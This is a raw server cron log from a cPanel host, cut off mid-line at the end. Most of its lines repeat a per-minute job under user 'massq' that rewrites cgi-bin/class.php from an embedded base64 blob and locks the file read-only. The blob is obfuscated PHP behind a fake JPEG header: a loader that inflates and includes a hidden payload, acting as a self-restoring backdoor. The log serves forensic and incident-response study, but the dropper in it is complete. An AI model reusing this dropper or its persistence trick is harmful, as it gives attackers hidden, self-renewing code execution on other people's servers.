Sep  1 15:24:01 server CROND[19731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:24:01 server CROND[19732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:25:01 server CROND[20124]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:25:01 server CROND[20135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:25:01 server CROND[20139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:25:01 server CROND[20140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:25:01 server CROND[20146]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:25:01 server CROND[20141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:25:01 server CROND[20142]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:26:01 server CROND[21070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:26:01 server CROND[21071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:26:01 server CROND[21072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:27:01 server CROND[21473]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 15:27:01 server CROND[21474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:27:01 server CROND[21476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:27:01 server CROND[21475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:28:01 server CROND[21877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:28:01 server CROND[21878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:28:01 server CROND[21879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:29:01 server CROND[22305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:29:01 server CROND[22306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:29:01 server CROND[22307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:30:01 server CROND[22705]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:30:01 server CROND[22709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:30:01 server CROND[22710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:30:01 server CROND[22711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:30:01 server CROND[22712]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:30:01 server CROND[22713]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:30:01 server CROND[22716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:30:01 server CROND[22714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:31:01 server CROND[23811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:31:01 server CROND[23812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:31:01 server CROND[23813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:32:01 server CROND[24200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:32:01 server CROND[24201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:32:01 server CROND[24202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:33:01 server CROND[24590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:33:01 server CROND[24591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:33:01 server CROND[24592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:34:01 server CROND[24973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:34:01 server CROND[24974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:34:01 server CROND[24975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:35:01 server CROND[25375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:35:01 server CROND[25377]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:35:01 server CROND[25376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:35:01 server CROND[25380]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 15:35:01 server CROND[25384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:35:01 server CROND[25381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:35:01 server CROND[25382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:35:01 server CROND[25383]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 15:35:01 server CROND[25387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | 